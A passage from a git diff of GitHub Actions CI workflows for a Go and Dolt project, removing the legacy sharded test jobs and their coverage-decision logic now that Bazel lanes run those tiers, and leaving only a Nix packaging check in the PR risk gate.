the same pr.yml - # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server - # lane`). pr-risk.yml retires nothing for it; its copy only keeps the - # shared bazel-coverage job identical. - BAZEL_RETIRES_LEGACY_PR_LANES: "true" - # Fork and Dependabot PRs: "true" covers them like same-repo PRs (the - # flags above then retire their legacy tiers too): rbe-west's mint - # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork - # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red, never a silent fall back to the legacy tiers. - # "false": they keep the legacy tiers, and the Bazel lanes run remotely - # beside them whenever rbe-fork is open (bazel.yml modes - # fork-ro/fork-rw), else locally with the read-only cache as before. - # "true" since ga-96smfk.15: after the canary every fork and Dependabot - # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint - # becomes unreliable: commit "false" in both workflows. - BAZEL_COVERS_FORKS: "true" + +# The legacy Go test tiers this workflow used to run (embedded Dolt storage, +# conformance and cmd shards; proxied-server cmd shards; server-Dolt storage +# and full suite) are pr.yml's Bazel lanes on rbe-west now: `embedded Dolt +# tier`, `proxied-server tier` and `server-Dolt storage tier` (bazel.yml), +# which pr.yml's `CI Gate / Required` requires to have run remotely and +# passed on every pull_request and merge group, fork and Dependabot PRs +# included (ga-96smfk.22). What remains is the Nix packaging check, which no +# Bazel target can stand in for: it builds the package Nix users install. jobs: - detect-ci-tier: - name: Detect CI tier - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - # F3: now on Blacksmith for same-repo PRs; a hang used to burn only the - # default 360 minutes of a free GitHub-hosted runner, now Blacksmith - # minutes too. - timeout-minutes: 10 - outputs: - full_embedded: ${{ steps.tier.outputs.full_embedded }} - reason: ${{ steps.tier.outputs.reason }} - shadow_embedded_cli: ${{ steps.shadow-selector.outputs.embedded_cli }} - shadow_proxied_cli: ${{ steps.shadow-selector.outputs.proxied_cli }} - shadow_embedded_storage: ${{ steps.shadow-selector.outputs.embedded_storage }} - shadow_embedded_conformance: ${{ steps.shadow-selector.outputs.embedded_conformance }} - shadow_server_conformance: ${{ steps.shadow-selector.outputs.server_conformance }} - shadow_full: ${{ steps.shadow-selector.outputs.full }} - shadow_reason: ${{ steps.shadow-selector.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide embedded Dolt coverage - id: tier - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: bash .github/scripts/ci-embedded-tier.sh - - - name: Shadow CI capability selector - id: shadow-selector - continue-on-error: true - env: - GITHUB_EVENT_NAME: ${{ github.event_name }} - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: | - set -o pipefail - selection="$(bash .github/scripts/ci-capability-selector.sh)" - printf '%s\n' "$selection" - { - echo '### Shadow CI capability selector' - printf '%s\n' "$selection" | sed 's/^/- `/' | sed 's/$/`/' - } >> "$GITHUB_STEP_SUMMARY" - - # D2: which legacy tiers below stand down because pr.yml's gated Bazel - # lanes run them instead: `embedded` (the test-embedded-* jobs; Bazel - # `embedded Dolt tier`) and `dolt_server` (test-proxied-cmd and the - # test-server-storage* jobs; Bazel `proxied-server tier` and `server-Dolt - # storage tier`), plus `pr_lanes`, which only pr.yml reads (its own PR - # Core, build-artifacts, pure-Go, domain+uow and contract corpus jobs). - # Each is true only with its committed BAZEL_RETIRES_LEGACY_* flag, on a - # same-repo (not fork) pull_request whose actor is not Dependabot, or on a - # merge_group (merge queue) run. pr.yml runs this same job (policy-tested - # identical) and its gate goes red unless the lanes then ran remotely and - # passed, so neither the kill switch (mode skip) nor a missing executor - # secret (mode cache) can silently drop a tier. Forks and Dependabot (no - # secrets; unless BAZEL_COVERS_FORKS) and every other event keep the - # legacy tiers. The step reads no secret or variable and runs no - # repository code. - bazel-coverage: - name: Bazel tier coverage - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache, so Blacksmith's inability to see one does not cost - # it anything. Must stay byte-identical to pr.yml's copy - # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners - # pin. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - embedded: ${{ steps.decide.outputs.embedded }} - dolt_server: ${{ steps.decide.outputs.dolt_server }} - pr_lanes: ${{ steps.decide.outputs.pr_lanes }} - steps: - # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's - # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS - # and not the executor secret (either, evaluated per run, would let one - # workflow's re-run disagree with the other's). A same-repo PR whose run - # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of a tier silently moving back. Fork and Dependabot - # runs get no Actions secrets by design: they are covered only while - # BAZEL_COVERS_FORKS is "true" (rbe-fork gives their lanes remote - # execution), and then a closed rbe-fork turns them red the same way; - # it never moves them back to a legacy tier silently. github.actor - # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide which legacy tiers the Bazel lanes cover - id: decide - env: - RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} - RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} - RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} - COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} - PULL_REQUEST: ${{ github.event_name == 'pull_request' }} - MERGE_GROUP: ${{ github.event_name == 'merge_group' }} - FORK: ${{ github.event.pull_request.head.repo.fork == true }} - DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} - run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do - case "${!v}" in - true|false) ;; - *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; - esac - done - # Covered: the Bazel lanes are this run's only run of the retired - # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it - # runs on the queue's gh-readonly-queue/* branch of this repository - # with the CI secrets, its actor is github-merge-queue[bot] (never - # Dependabot), and bazel.yml's rbe job takes mode remote for it - # like for a same-repo PR, so a missing secret or the farm switch - # off turns pr.yml's gate red rather than dropping a tier. - covered=false - if [ "$MERGE_GROUP" = true ]; then - covered=true - elif [ "$PULL_REQUEST" = true ]; then - if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true - elif [ "$COVERS_FORKS" = true ]; then - covered=true - fi - fi - embedded=false - if [ "$covered" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then - embedded=true - fi - dolt_server=false - if [ "$covered" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then - dolt_server=true - fi - pr_lanes=false - if [ "$covered" = true ] && [ "$RETIRED_PR_LANES" = true ]; then - pr_lanes=true - fi - { - echo "embedded=$embedded" - echo "dolt_server=$dolt_server" - echo "pr_lanes=$pr_lanes" - } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" - - # End-to-end coverage for proxied-server CLI subcommands, sharded across the - # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt - # sql-server started via testcontainers by the shared proxied harness - # (cmd/bd/*_proxied_integration_test.go). - # - # Reuses the cmd/bd test binary compiled once by build-embedded: the proxied - # tests live in the same package and are gated at runtime by - # BEADS_TEST_PROXIED_SERVER=1, so no separate build is needed. Shard - # assignment is committed in .github/scripts/proxied-cmd-test-shards.txt; - # newly-added TestProxiedServer*/TestServerMode* tests hash-distribute until - # listed there. Stands down, with the test-server-storage* jobs, where - # bazel-coverage's dolt_server says pr.yml's gated Bazel `proxied-server - # tier` lane runs it (D2 step 2). - test-proxied-cmd: - name: Test (Proxied Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-proxied /tmp/bd-cmd-test - - - name: Install Dolt CLI - # TestProxiedServerExternalCreate needs the dolt binary on PATH; the - # shared harness itself uses the dolt sql-server container image. - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # The shared proxied harness requires the image cached locally - # (isDoltImageCached); without it every proxied test self-skips. Keep the - # tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test proxied-server cmd shard - timeout-minutes: 16 - env: - BEADS_TEST_PROXIED_SERVER: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-proxied - BEADS_TEST_CMD_BINARY: /tmp/bd-cmd-test - run: bash .github/scripts/proxied-test-shard.sh ${{ matrix.shard }} 15 - - # Embedded Dolt tests - test the in-process Dolt engine (no server required) - # - # Split into: build → storage tests + parallel cmd test shards. - # cmd/bd embedded tests use a committed shard manifest; newly-added tests - # still auto-distribute via hash fallback until the manifest is updated. - # - # The storage, conformance and cmd test jobs stand down when - # bazel-coverage says pr.yml's gated Bazel `embedded Dolt tier` lane runs - # them instead (its `embedded` output); the proxied and server Dolt jobs - # when its Bazel `proxied-server tier` and `server-Dolt storage tier` lanes - # do (`dolt_server`). build-embedded's embedded-test-binaries artifact - # feeds all six (and nothing else), so it stands down only when both do. - - build-embedded: - name: Build (Embedded Dolt) - needs: [detect-ci-tier, bazel-coverage] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs.bazel-coverage.outputs.embedded != 'true' || needs.bazel-coverage.outputs.dolt_server != 'true') - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Restore non-race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build embedded bd binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/ - - - name: Build embedded storage test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/ - - - name: Build embedded cmd test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/ - - # Non-race bd used as the proxied-server test subprocess. The proxied - # tests spawn bd many times per sub-test; a -race subprocess would slow - # every invocation, so build a plain binary for BEADS_TEST_BD_BINARY. - - name: Build proxied bd subprocess binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/ - - # Server-Dolt conformance binary. No -race: the Dolt server runs - # out-of-process in a container, and omitting it keeps the run inside the - # job's timeout. The dolt package self-skips without the docker image, so - # the binary is harmless if its job is gated off. - - name: Build server Dolt conformance test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test -tags=integration,gms_pure_go -c -o /tmp/dolt-conformance-test ./internal/storage/dolt/ - - - name: Upload binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: embedded-test-binaries - path: | - /tmp/bd-embedded-test - /tmp/embeddeddolt-test - /tmp/bd-cmd-test - /tmp/bd-proxied - /tmp/dolt-conformance-test - retention-days: 1 - - test-embedded-storage: - name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item - # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s - # under -race (97s at the 100-item cap, main run 35862663577) and the - # shard hit 15m twice (run 36807191489). The manifest now pins the heavy - # tests apart; the heaviest shard projects to ~13m. - timeout-minutes: 25 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - # Manifest-driven shard of the storage suite (mirrors test-embedded-cmd - # / embedded-test-shard.sh). Conformance runs separately in the - # dedicated test-embedded-conformance job; embedded-storage-test-shard.sh - # excludes TestConformance from discovery, so it never lands in one of - # these shards. - run: bash .github/scripts/embedded-storage-test-shard.sh ${{ matrix.shard }} 5 - - test-embedded-conformance: - name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - timeout-minutes: 35 - strategy: - fail-fast: false - matrix: - partition: [core, audit] - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test core conformance - if: matrix.partition == 'core' - # RunAll has a natural Audit seam. Run everything except Audit in the - # core shard and Audit alone in the other shard. The combined suite has - # exceeded 30m under runner variance; each half currently takes ~15m. - # Keep the Go timeout below the job timeout so a real stall still emits - # a diagnostic goroutine dump before Actions stops the job. - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$' - - - name: Test audit conformance - if: matrix.partition == 'audit' - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$' - - test-server-storage: - name: Test (Server Dolt Conformance) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/dolt-conformance-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Presence of this image flips isDoltImageCached() true, so the suite - # exercises server Dolt instead of self-skipping. Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test - # Server twin of test-embedded-conformance: same conformance.RunAll, but - # against the container-backed server-mode Dolt backend. No -short / no - # BEADS_TEST_SKIP=dolt, so TestMain starts the shared server and the - # suite runs instead of self-skipping. - run: /tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$' - - test-server-storage-full: - name: Test (Server Dolt Full Suite ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/dolt-conformance-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Presence of this image flips isDoltImageCached() true, so the suite - # exercises server Dolt instead of self-skipping. Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test - # build-embedded's dolt-conformance-test binary compiles every - # top-level test in internal/storage/dolt, not just conformance -- - # test-server-storage above only ever runs the ^TestConformance$ - # subset. Everything else in that binary (TestCreateGuard_*, - # federation/create-guard/concurrent suites, and diff-owned tests such - # as TestBenchDBPurgeDoesNotLeak on PR #5792) was reached by no - # PR-triggered lane and silently SKIPped for lack of a live server. - # This sibling job reuses the same artifact and server setup and runs - # everything else instead, so a SKIP there gets a real PASS/FAIL. - # - # Manifest-driven shard of the full suite (mirrors test-embedded-storage - # / server-storage-test-shard.sh): 1126 tests in one 15m-Go-timeout job - # never finished (job 95616282508 died at 256/1126 tests, 15m28s in, - # zero failures -- it just ran out of time). server-storage-test-shard.sh - # excludes TestConformance from discovery, so it never lands in one of - # these shards. - env: - BEADS_TEST_ENV_RUN_DOLT: "1" - run: bash .github/scripts/server-storage-test-shard.sh ${{ matrix.shard }} 16 - - test-embedded-cmd: - name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-embedded-test /tmp/embeddeddolt-test /tmp/bd-cmd-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-embedded-test - run: bash .github/scripts/embedded-test-shard.sh ${{ matrix.shard }} 20 - test-nix: name: Test Nix Flake # F7a: cache-free (no GitHub-saved cache restored/saved here) same-repo @@ -623,15 +78,6 @@ jobs: # minutes too. timeout-minutes: 10 needs: - - detect-ci-tier - - bazel-coverage - - build-embedded - - test-embedded-storage - - test-embedded-conformance - - test-server-storage - - test-server-storage-full - - test-embedded-cmd - - test-proxied-cmd - test-nix if: ${{ always() }} steps: @@ -641,47 +87,6 @@ jobs: env: CI_GATE_NAME: PR risk gate CI_GATE_REQUIRED: >- - DETECT_CI_TIER - BAZEL_COVERAGE - BUILD_EMBEDDED - TEST_EMBEDDED_STORAGE - TEST_EMBEDDED_CONFORMANCE - TEST_SERVER_STORAGE - TEST_SERVER_STORAGE_FULL - TEST_EMBEDDED_CMD - TEST_PROXIED_CMD TEST_NIX - FULL_EMBEDDED: ${{ needs.detect-ci-tier.outputs.full_embedded }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} - BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} - DETECT_CI_TIER: ${{ needs.detect-ci-tier.result }} - BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} - BUILD_EMBEDDED: ${{ needs.build-embedded.result }} - TEST_EMBEDDED_STORAGE: ${{ needs.test-embedded-storage.result }} - TEST_EMBEDDED_CONFORMANCE: ${{ needs.test-embedded-conformance.result }} - TEST_SERVER_STORAGE: ${{ needs.test-server-storage.result }} - TEST_SERVER_STORAGE_FULL: ${{ needs.test-server-storage-full.result }} - TEST_EMBEDDED_CMD: ${{ needs.test-embedded-cmd.result }} - TEST_PROXIED_CMD: ${{ needs.test-proxied-cmd.result }} TEST_NIX: ${{ needs.test-nix.result }} - run: | - skipped_ok="" - if [[ "$FULL_EMBEDDED" != "true" ]]; then - skipped_ok="BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD" - fi - # The legacy tiers' test jobs stand down only where pr.yml's gated - # Bazel lanes run the tier (bazel-coverage), and build-embedded, - # whose artifact only they consume, only where all of them do; any - # other skip of them, or a failed or missing decision, fails the - # gate. - if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]]; then - skipped_ok="$skipped_ok TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_EMBEDDED_CMD" - fi - if [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then - skipped_ok="$skipped_ok TEST_PROXIED_CMD TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL" - fi - if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]] && [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_EMBEDDED" - fi - export CI_GATE_SKIPPED_OK="$skipped_ok" - bash .github/scripts/ci-gate.sh + run: bash .github/scripts/ci-gate.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index c59e727a6..b469bec4f 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -23,25 +23,6 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's - # only pre-merge run, and pr.yml's gate goes red unless they ran remotely - # and passed. Committed, not repo variables, so a re-run can never change - # them; each must equal pr.yml's / pr-risk.yml's copy - # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both - # workflows (in-flight PRs pick it up on their next push or merge of main). - # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). - BAZEL_RETIRES_LEGACY_EMBEDDED: "true" - # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel - # `proxied-server tier` and `server-Dolt storage tier`). - BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" - # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml - # run: PR Core, build-artifacts and the pure-Go/js-wasm check (Bazel - # `test`, `pure-Go and js/wasm`); the `dolt-server lane`, the only run of - # the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites, is - # held to the same rule. pr-risk.yml retires nothing for it; its copy only - # keeps the shared bazel-coverage job identical. - BAZEL_RETIRES_LEGACY_PR_LANES: "true" # F4 side-by-side rollout: "false" keeps the native windows-latest jobs # (test-windows-liveness, worktree-remove-windows) as the required pair and # their Linux-cross-built "-prebuilt" twins (test-windows-liveness-prebuilt, @@ -49,21 +30,9 @@ env: # on every PR regardless of this flag; flipping it to "true" swaps which # pair ci-gate enforces (the other pair moves to CI_GATE_SKIPPED_OK) without # touching ci-gate.needs or the env map below -- see the "Evaluate CI gate" - # step's run script. Committed, not a repo variable, for the same reason as - # the BAZEL_RETIRES_LEGACY_* flags above: a re-run can never change it. + # step's run script. Committed, not a repo variable, so a re-run can never + # change it. WINDOWS_PREBUILT_REQUIRED: "true" - # Fork and Dependabot PRs: "true" covers them like same-repo PRs (the - # flags above then retire their legacy tiers too): rbe-west's mint - # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork - # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red, never a silent fall back to the legacy tiers. - # "false": they keep the legacy tiers, and the Bazel lanes run remotely - # beside them whenever rbe-fork is open (bazel.yml modes - # fork-ro/fork-rw), else locally with the read-only cache as before. - # "true" since ga-96smfk.15: after the canary every fork and Dependabot - # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint - # becomes unreliable: commit "false" in both workflows. - BAZEL_COVERS_FORKS: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a @@ -71,7 +40,7 @@ env: # BAZEL_CMD_DOLT result. "true" adds BAZEL_CMD_DOLT to CI_GATE_REQUIRED in # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts # its skip in modes skip and local. Committed, not a repo variable, for - # the same reason as the flags above. The `bazel` job's cmd-dolt-required + # the same reason as WINDOWS_PREBUILT_REQUIRED above. The `bazel` job's cmd-dolt-required # input must equal it (a `with:` cannot read env; policy-tested): "true" # also drops //cmd/bd:bd_test from bazel-integration, because the required # lane runs the same integration-build bd_test without the dolt skip, so @@ -81,74 +50,6 @@ env: jobs: - # D2 step 3: stands down where bazel-coverage says pr_lanes (same-repo, - # non-Dependabot PRs and merge groups while BAZEL_RETIRES_LEGACY_PR_LANES - # is "true"): its - # consumers then stand down too. F3: the package gates (package-mcp, - # package-npm) are no longer among those consumers - they moved into - # bazel.yml and build their own bd (Bazel-built on same-repo PRs, `go - # build` otherwise), needing only the call's rbe job. - build-artifacts: - name: Build Artifacts - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 